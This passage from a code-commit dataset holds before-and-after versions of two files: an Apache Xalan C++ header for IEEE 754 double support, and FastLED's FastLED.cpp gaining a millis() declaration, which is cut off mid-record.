bool>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn lessThan(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct lessThanOrEqualFunction : public binary_function<const double&, const double&, bool>\n\t#else\n\tstruct lessThanOrEqualFunction : public std::binary_function<const double&, const double&, bool>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn lessThanOrEqual(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct greaterThanFunction : public binary_function<const double&, const double&, bool>\n\t#else\n\tstruct greaterThanFunction : public std::binary_function<const double&, const double&, bool>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn greaterThan(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct greaterThanOrEqualFunction : public binary_function<const double&, const double&, bool>\n\t#else\n\tstruct greaterThanOrEqualFunction : public std::binary_function<const double&, const double&, bool>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn greaterThanOrEqual(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct addFunction : public binary_function<const double&, const double&, double>\n\t#else\n\tstruct addFunction : public std::binary_function<const double&, const double&, double>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn add(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct subtractFunction : public binary_function<const double&, const double&, double>\n\t#else\n\tstruct subtractFunction : public std::binary_function<const double&, const double&, double>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn subtract(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct multiplyFunction : public binary_function<const double&, const double&, double>\n\t#else\n\tstruct multiplyFunction : public std::binary_function<const double&, const double&, double>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn multiply(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct divideFunction : public binary_function<const double&, const double&, double>\n\t#else\n\tstruct divideFunction : public std::binary_function<const double&, const double&, double>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn divide(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct modulusFunction : public binary_function<const double&, const double&, double>\n\t#else\n\tstruct modulusFunction : public std::binary_function<const double&, const double&, double>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn modulus(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct negativeFunction : public unary_function<const double&, double>\n\t#else\n\tstruct negativeFunction : public std::unary_function<const double&, double>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(argument_type\ttheDouble) const\n\t\t{\n\t\t\treturn negative(theDouble);\n\t\t}\n\t};\n\n\tstatic double\n\ttoDouble(const XalanDOMString&\ttheString);\n\n\tstatic double\n\ttoDouble(const XalanDOMChar*\ttheString);\n\nprivate:\n\n\n\tstatic const double\t\t\t\ts_NaN;\n\tstatic const double\t\t\t\ts_positiveInfinity;\n\tstatic const double\t\t\t\ts_negativeInfinity;\n\n#if defined(XALAN_NEED_SPECIAL_NAN_SUPPORT)\n\tstatic const unsigned long*\t\ts_NaNFirstDWORD;\n\tstatic const unsigned long*\t\ts_NaNSecondDWORD;\n#endif\n};\n\n\n\n#endif\t\/\/ DOUBLESUPPORT_HEADER_GUARD_1357924680\n<commit_msg>Added ifdef for old-style cast.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n#if !defined(DOUBLESUPPORT_HEADER_GUARD_1357924680)\n#define DOUBLESUPPORT_HEADER_GUARD_1357924680\n\n\n\n\/\/ Base include file.  Must be first.\n#include <PlatformSupport\/PlatformSupportDefinitions.hpp>\n\n\n\n#include <functional>\n\n\n\n#include <XalanDOM\/XalanDOMString.hpp>\n\n\n\n\/\/ A class to help us support IEEE 754.\nclass XALAN_PLATFORMSUPPORT_EXPORT DoubleSupport\n{\npublic:\n\n\t\/\/ Use these functions to determine if a value represents one of these\n\t\/\/ values.  It seems that under some architectures, NaN will compare\n\t\/\/ as equal to any number, which is a big problem.  Hence these helper\n\t\/\/ functions.\n\n\t\/**\n\t * Determine if target is not a number\n\t * \n\t * @param theNumber target number\n\t * @return true if target represents the \"not a number\" value\n\t *\/\n\tstatic bool\n\tisNaN(double\ttheNumber)\n\t{\n\t\t\/\/ Compare the two DWORDs of the double as unsigned longs.\n\t\tconst unsigned long* const\ttheFirstDWORD =\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t(const unsigned long*)&theNumber;\n#else\n\t\t\treinterpret_cast<const unsigned long*>(&theNumber);\n#endif\n\n\t\tconst unsigned long* const\ttheSecondDWORD =\n\t\t\t\t\t\t\ttheFirstDWORD + 1;\n\n\t\treturn *theFirstDWORD == *s_NaNFirstDWORD &&\n\t\t\t   *theSecondDWORD == *s_NaNSecondDWORD;\n\t}\n\n\t\/**\n\t * Determine if target is positive infinity\n\t * \n\t * @param theNumber target number\n\t * @return true if target represents the value for positive infinity\n\t *\/\n\tstatic bool\n\tisPositiveInfinity(double\ttheNumber)\n\t{\n\t\treturn !isNaN(theNumber) && theNumber == s_positiveInfinity;\n\t}\n\n\t\/**\n\t * Determine if target is negative infinity\n\t * \n\t * @param theNumber target number\n\t * @return true if target represents the value for negative infinity\n\t *\/\n\tstatic bool\n\tisNegativeInfinity(double\ttheNumber)\n\t{\n\t\treturn !isNaN(theNumber) && theNumber == s_negativeInfinity;\n\t}\n\n\t\/\/ These can be used to initialize values, but should not\n\t\/\/ be used to do equality comparisons, as == may fail on\n\t\/\/ some platforms.\n\t\/\/\n\n\t\/**\n\t * Double value that represents \"not a number\"\n\t * \n\t * @return \"not a number\" value\n\t *\/\n\tstatic double\n\tgetNaN()\n\t{\n\t\treturn s_NaN;\n\t}\n\n\t\/**\n\t * Double value that represents positive infinity\n\t * \n\t * @return positive infinity value\n\t *\/\n\tstatic double\n\tgetPositiveInfinity()\n\t{\n\t\treturn s_positiveInfinity;\n\t}\n\n\t\/**\n\t * Double value that represents negative infinity\n\t * \n\t * @return negative infinity value\n\t *\/\n\tstatic double\n\tgetNegativeInfinity()\n\t{\n\t\treturn s_negativeInfinity;\n\t}\n\n\t\/**\n\t * Compare two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to compare\n\t * @param theRHS a number to compare\n\t * @return the result of the compare\n\t *\/\n\tstatic bool\n\tequal(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Compare two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to compare\n\t * @param theRHS a number to compare\n\t * @return the result of the compare\n\t *\/\n\tstatic bool\n\tnotEqual(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Compare two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to compare\n\t * @param theRHS a number to compare\n\t * @return the result of the compare\n\t *\/\n\tstatic bool\n\tlessThan(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Compare two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to compare\n\t * @param theRHS a number to compare\n\t * @return the result of the compare\n\t *\/\n\tstatic bool\n\tlessThanOrEqual(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Compare two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to compare\n\t * @param theRHS a number to compare\n\t * @return the result of the compare\n\t *\/\n\tstatic bool\n\tgreaterThan(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Compare two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to compare\n\t * @param theRHS a number to compare\n\t * @return the result of the compare\n\t *\/\n\tstatic bool\n\tgreaterThanOrEqual(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Add two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to add\n\t * @param theRHS a number to add\n\t * @return the result of the addition\n\t *\/\n\tstatic double\n\tadd(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Subtract two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to subtract\n\t * @param theRHS a number to subtract\n\t * @return the result of the subtraction\n\t *\/\n\tstatic double\n\tsubtract(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Multiply two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to multiply\n\t * @param theRHS a number to multiply\n\t * @return the result of the multiplication\n\t *\/\n\tstatic double\n\tmultiply(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Divide two double values, taking into account\n\t * the fact that we must support IEEE 754\n\t *\n\t * @param theLHS a number to divide\n\t * @param theRHS a number to divide\n\t * @return the result of the division\n\t *\/\n\tstatic double\n\tdivide(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Determine the modulus two double values,\n\t * taking into account the fact that we must\n\t * support IEEE 754\n\t *\n\t * @param theLHS a number to divide\n\t * @param theRHS a number to divide\n\t * @return the result of the modulus\n\t *\/\n\tstatic double\n\tmodulus(\n\t\t\tdouble\ttheLHS,\n\t\t\tdouble\ttheRHS);\n\n\t\/**\n\t * Determine the negative of a double value,\n\t * taking into account the fact that we must\n\t * support IEEE 754\n\t *\n\t * @param theDouble a number to negate\n\t * @return the result of the negation\n\t *\/\n\tstatic double\n\tnegative(double\ttheDouble);\n\n\t\/\/ Some functors to do the same thing.  This is for\n\t\/\/ STL integration...\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct equalFunction : public binary_function<const double&, const double&, bool>\n\t#else\n\tstruct equalFunction : public std::binary_function<const double&, const double&, bool>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn equal(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct notEqualFunction : public binary_function<const double&, const double&, bool>\n\t#else\n\tstruct notEqualFunction : public std::binary_function<const double&, const double&, bool>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn notEqual(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct lessThanFunction : public binary_function<const double&, const double&, bool>\n\t#else\n\tstruct lessThanFunction : public std::binary_function<const double&, const double&, bool>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn lessThan(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct lessThanOrEqualFunction : public binary_function<const double&, const double&, bool>\n\t#else\n\tstruct lessThanOrEqualFunction : public std::binary_function<const double&, const double&, bool>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn lessThanOrEqual(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct greaterThanFunction : public binary_function<const double&, const double&, bool>\n\t#else\n\tstruct greaterThanFunction : public std::binary_function<const double&, const double&, bool>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn greaterThan(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct greaterThanOrEqualFunction : public binary_function<const double&, const double&, bool>\n\t#else\n\tstruct greaterThanOrEqualFunction : public std::binary_function<const double&, const double&, bool>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn greaterThanOrEqual(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct addFunction : public binary_function<const double&, const double&, double>\n\t#else\n\tstruct addFunction : public std::binary_function<const double&, const double&, double>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn add(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct subtractFunction : public binary_function<const double&, const double&, double>\n\t#else\n\tstruct subtractFunction : public std::binary_function<const double&, const double&, double>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn subtract(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct multiplyFunction : public binary_function<const double&, const double&, double>\n\t#else\n\tstruct multiplyFunction : public std::binary_function<const double&, const double&, double>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn multiply(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct divideFunction : public binary_function<const double&, const double&, double>\n\t#else\n\tstruct divideFunction : public std::binary_function<const double&, const double&, double>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn divide(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct modulusFunction : public binary_function<const double&, const double&, double>\n\t#else\n\tstruct modulusFunction : public std::binary_function<const double&, const double&, double>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(\n\t\t\tfirst_argument_type\t\ttheLHS,\n\t\t\tsecond_argument_type\ttheRHS) const\n\t\t{\n\t\t\treturn modulus(theLHS, theRHS);\n\t\t}\n\t};\n\n\t#if defined(XALAN_NO_NAMESPACES)\n\tstruct negativeFunction : public unary_function<const double&, double>\n\t#else\n\tstruct negativeFunction : public std::unary_function<const double&, double>\n\t#endif\n\t{\n\t\tresult_type\n\t\toperator()(argument_type\ttheDouble) const\n\t\t{\n\t\t\treturn negative(theDouble);\n\t\t}\n\t};\n\n\tstatic double\n\ttoDouble(const XalanDOMString&\ttheString);\n\n\tstatic double\n\ttoDouble(const XalanDOMChar*\ttheString);\n\nprivate:\n\n\n\tstatic const double\t\t\t\ts_NaN;\n\tstatic const double\t\t\t\ts_positiveInfinity;\n\tstatic const double\t\t\t\ts_negativeInfinity;\n\n#if defined(XALAN_NEED_SPECIAL_NAN_SUPPORT)\n\tstatic const unsigned long*\t\ts_NaNFirstDWORD;\n\tstatic const unsigned long*\t\ts_NaNSecondDWORD;\n#endif\n};\n\n\n\n#endif\t\/\/ DOUBLESUPPORT_HEADER_GUARD_1357924680\n<|endoftext|>"}
{"text":"<commit_before>#define FASTLED_INTERNAL\n#include \"FastLED.h\"\n\n\n#if defined(__SAM3X8E__)\nvolatile uint32_t fuckit;\n#endif\n\nFASTLED_NAMESPACE_BEGIN\n\nvoid *pSmartMatrix = NULL;\n\nCFastLED FastLED;\n\nCLEDController *CLEDController::m_pHead = NULL;\nCLEDController *CLEDController::m_pTail = NULL;\nstatic uint32_t lastshow = 0;\n\n\/\/ uint32_t CRGB::Squant = ((uint32_t)((__TIME__[4]-'0') * 28))<<16 | ((__TIME__[6]-'0')*50)<<8 | ((__TIME__[7]-'0')*28);\n\nCFastLED::CFastLED() {\n\t\/\/ clear out the array of led controllers\n\t\/\/ m_nControllers = 0;\n\tm_Scale = 255;\n\tm_nFPS = 0;\n\tsetMaxRefreshRate(400);\n}\n\nCLEDController &CFastLED::addLeds(CLEDController *pLed,\n\t\t\t\t\t\t\t\t\t   struct CRGB *data,\n\t\t\t\t\t\t\t\t\t   int nLedsOrOffset, int nLedsIfOffset) {\n\tint nOffset = (nLedsIfOffset > 0) ? nLedsOrOffset : 0;\n\tint nLeds = (nLedsIfOffset > 0) ? nLedsIfOffset : nLedsOrOffset;\n\n\tpLed->init();\n\tpLed->setLeds(data + nOffset, nLeds);\n\treturn *pLed;\n}\n\nvoid CFastLED::show(uint8_t scale) {\n\t\/\/ guard against showing too rapidly\n\twhile(m_nMinMicros && ((micros()-lastshow) < m_nMinMicros));\n\tlastshow = micros();\n\n\tCLEDController *pCur = CLEDController::head();\n\twhile(pCur) {\n\t\tuint8_t d = pCur->getDither();\n\t\tif(m_nFPS < 100) { pCur->setDither(0); }\n\t\tpCur->showLeds(scale);\n\t\tpCur->setDither(d);\n\t\tpCur = pCur->next();\n\t}\n\tcountFPS();\n}\n\nint CFastLED::count() {\n    int x = 0;\n\tCLEDController *pCur = CLEDController::head();\n\twhile( pCur) {\n        x++;\n\t\tpCur = pCur->next();\n\t}\n    return x;\n}\n\nCLEDController & CFastLED::operator[](int x) {\n\tCLEDController *pCur = CLEDController::head();\n\twhile(x-- && pCur) {\n\t\tpCur = pCur->next();\n\t}\n\tif(pCur == NULL) {\n\t\treturn *(CLEDController::head());\n\t} else {\n\t\treturn *pCur;\n\t}\n}\n\nvoid CFastLED::showColor(const struct CRGB & color, uint8_t scale) {\n\twhile(m_nMinMicros && ((micros()-lastshow) < m_nMinMicros));\n\tlastshow = micros();\n\n\tCLEDController *pCur = CLEDController::head();\n\twhile(pCur) {\n\t\tuint8_t d = pCur->getDither();\n\t\tif(m_nFPS < 100) { pCur->setDither(0); }\n\t\tpCur->showColor(color, scale);\n\t\tpCur->setDither(d);\n\t\tpCur = pCur->next();\n\t}\n\tcountFPS();\n}\n\nvoid CFastLED::clear(boolean writeData) {\n\tif(writeData) {\n\t\tshowColor(CRGB(0,0,0), 0);\n\t}\n    clearData();\n}\n\nvoid CFastLED::clearData() {\n\tCLEDController *pCur = CLEDController::head();\n\twhile(pCur) {\n\t\tpCur->clearLedData();\n\t\tpCur = pCur->next();\n\t}\n}\n\nvoid CFastLED::delay(unsigned long ms) {\n\tunsigned long start = millis();\n\twhile((millis()-start) < ms) {\n#ifndef FASTLED_ACCURATE_CLOCK\n\t\t\/\/ make sure to allow at least one ms to pass to ensure the clock moves\n\t\t\/\/ forward\n\t\t::delay(1);\n#endif\n\t\tshow();\n\t}\n}\n\nvoid CFastLED::setTemperature(const struct CRGB & temp) {\n\tCLEDController *pCur = CLEDController::head();\n\twhile(pCur) {\n\t\tpCur->setTemperature(temp);\n\t\tpCur = pCur->next();\n\t}\n}\n\nvoid CFastLED::setCorrection(const struct CRGB & correction) {\n\tCLEDController *pCur = CLEDController::head();\n\twhile(pCur) {\n\t\tpCur->setCorrection(correction);\n\t\tpCur = pCur->next();\n\t}\n}\n\nvoid CFastLED::setDither(uint8_t ditherMode)  {\n\tCLEDController *pCur = CLEDController::head();\n\twhile(pCur) {\n\t\tpCur->setDither(ditherMode);\n\t\tpCur = pCur->next();\n\t}\n}\n\n\/\/\n\/\/ template<int m, int n> void transpose8(unsigned char A[8], unsigned char B[8]) {\n\/\/ \tuint32_t x, y, t;\n\/\/\n\/\/ \t\/\/ Load the array and pack it into x and y.\n\/\/   \ty = *(unsigned int*)(A);\n\/\/ \tx = *(unsigned int*)(A+4);\n\/\/\n\/\/ \t\/\/ x = (A[0]<<24)   | (A[m]<<16)   | (A[2*m]<<8) | A[3*m];\n\/\/ \t\/\/ y = (A[4*m]<<24) | (A[5*m]<<16) | (A[6*m]<<8) | A[7*m];\n\/\/\n        \/\/ \/\/ pre-transform x\n        \/\/ t = (x ^ (x >> 7)) & 0x00AA00AA;  x = x ^ t ^ (t << 7);\n        \/\/ t = (x ^ (x >>14)) & 0x0000CCCC;  x = x ^ t ^ (t <<14);\n\t\t\t\t\/\/\n        \/\/ \/\/ pre-transform y\n        \/\/ t = (y ^ (y >> 7)) & 0x00AA00AA;  y = y ^ t ^ (t << 7);\n        \/\/ t = (y ^ (y >>14)) & 0x0000CCCC;  y = y ^ t ^ (t <<14);\n\t\t\t\t\/\/\n        \/\/ \/\/ final transform\n        \/\/ t = (x & 0xF0F0F0F0) | ((y >> 4) & 0x0F0F0F0F);\n        \/\/ y = ((x << 4) & 0xF0F0F0F0) | (y & 0x0F0F0F0F);\n        \/\/ x = t;\n\/\/\n\/\/ \tB[7*n] = y; y >>= 8;\n\/\/ \tB[6*n] = y; y >>= 8;\n\/\/ \tB[5*n] = y; y >>= 8;\n\/\/ \tB[4*n] = y;\n\/\/\n\/\/   B[3*n] = x; x >>= 8;\n\/\/ \tB[2*n] = x; x >>= 8;\n\/\/ \tB[n] = x; x >>= 8;\n\/\/ \tB[0] = x;\n\/\/ \t\/\/ B[0]=x>>24;    B[n]=x>>16;    B[2*n]=x>>8;  B[3*n]=x>>0;\n\/\/ \t\/\/ B[4*n]=y>>24;  B[5*n]=y>>16;  B[6*n]=y>>8;  B[7*n]=y>>0;\n\/\/ }\n\/\/\n\/\/ void transposeLines(Lines & out, Lines & in) {\n\/\/ \ttranspose8<1,2>(in.bytes, out.bytes);\n\/\/ \ttranspose8<1,2>(in.bytes + 8, out.bytes + 1);\n\/\/ }\n\nextern int noise_min;\nextern int noise_max;\n\nvoid CFastLED::countFPS(int nFrames) {\n  static int br = 0;\n  static uint32_t lastframe = 0; \/\/ millis();\n\n  if(br++ >= nFrames) {\n\t\tuint32_t now = millis();\n\t\tnow -= lastframe;\n\t\tm_nFPS = (br * 1000) \/ now;\n    br = 0;\n    lastframe = millis();\n  }\n}\n\nvoid CFastLED::setMaxRefreshRate(uint16_t refresh) {\n\t\tif(refresh > 0) {\n\t\t\tm_nMinMicros = 1000000 \/ refresh;\n\t\t} else {\n\t\t\tm_nMinMicros = 0;\n\t\t}\n}\n\n\n#ifdef NEED_CXX_BITS\nnamespace __cxxabiv1\n{\n\textern \"C\" void __cxa_pure_virtual (void) {}\n\t\/* guard variables *\/\n\n\t\/* The ABI requires a 64-bit type.  *\/\n\t__extension__ typedef int __guard __attribute__((mode(__DI__)));\n\n\textern \"C\" int __cxa_guard_acquire (__guard *);\n\textern \"C\" void __cxa_guard_release (__guard *);\n\textern \"C\" void __cxa_guard_abort (__guard *);\n\n\textern \"C\" int __cxa_guard_acquire (__guard *g)\n\t{\n\t\treturn !*(char *)(g);\n\t}\n\n\textern \"C\" void __cxa_guard_release (__guard *g)\n\t{\n\t\t*(char *)g = 1;\n\t}\n\n\textern \"C\" void __cxa_guard_abort (__guard *)\n\t{\n\n\t}\n}\n#endif\n\nFASTLED_NAMESPACE_END\n<commit_msg>make sure FastLED.cpp has a definition for millis.<commit_after>#define FASTLED_INTERNAL\n#include \"FastLED.h\"\n\n\n#if defined(__SAM3X8E__)\nvolatile uint32_t fuckit;\n#endif\n\n#if defined(ARDUINO) || defined(SPARK)\nextern uint32_t millis();\n#endif\n\nFASTLED_NAMESPACE_BEGIN\n\nvoid *pSmartMatrix = NULL;\n\nCFastLED FastLED;\n\nCLEDController *CLEDController::m_pHead = NULL;\nCLEDController *CLEDController::m_pTail = NULL;\nstatic uint32_t lastshow = 0;\n\n\/\/ uint32_t CRGB::Squant = ((uint32_t)((__TIME__[4]-'0') * 28))<<16 | ((__TIME__[6]-'0')*50)<<8 | ((__TIME__[7]-'0')*28);\n\nCFastLED::CFastLED() {\n\t\/\/ clear out the array of led controllers\n\t\/\/ m_nControllers = 0;\n\tm_Scale = 255;\n\tm_nFPS = 0;\n\tsetMaxRefreshRate(400);\n}\n\nCLEDController &CFastLED::addLeds(CLEDController *pLed,\n\t\t\t\t\t\t\t\t\t   struct CRGB *data,\n\t\t\t\t\t\t\t\t\t   int nLedsOrOffset, int nLedsIfOffset) {\n\tint nOffset = (nLedsIfOffset > 0) ? nLedsOrOffset : 0;\n\tint nLeds = (nLedsIfOffset > 0) ? nLedsIfOffset : nLedsOrOffset;\n\n\tpLed->init();\n\tpLed->setLeds(data + nOffset, nLeds);\n\treturn *pLed;\n}\n\nvoid CFastLED::show(uint8_t scale) {\n\t\/\/ guard against showing too rapidly\n\twhile(m_nMinMicros && ((micros()-lastshow) < m_nMinMicros));\n\tlastshow = micros();\n\n\tCLEDController *pCur = CLEDController::head();\n\twhile(pCur) {\n\t\tuint8_t d = pCur->getDither();\n\t\tif(m_nFPS < 100) { pCur->setDither(0); }\n\t\tpCur->showLeds(scale);\n\t\tpCur->setDither(d);\n\t\tpCur = pCur->next();\n\t}\n\tcountFPS();\n}\n\nint CFastLED::count() {\n    int x = 0;\n\tCLEDController *pCur = CLEDController::head();\n\twhile( pCur) {\n        x++;\n\t\tpCur = pCur->next();\n\t}\n    return x;\n}\n\nCLEDController & CFastLED::operator[](int x) {\n\tCLEDController *pCur = CLEDController::head();\n\twhile(x-- && pCur) {\n\t\tpCur = pCur->next();\n\t}\n\tif(pCur == NULL) {\n\t\treturn *(CLEDController::head());\n\t} else {\n\t\treturn *pCur;\n\t}\n}\n\nvoid CFastLED::showColor(const struct CRGB & color, uint8_t scale) {\n\twhile(m_nMinMicros && ((micros()-lastshow) < 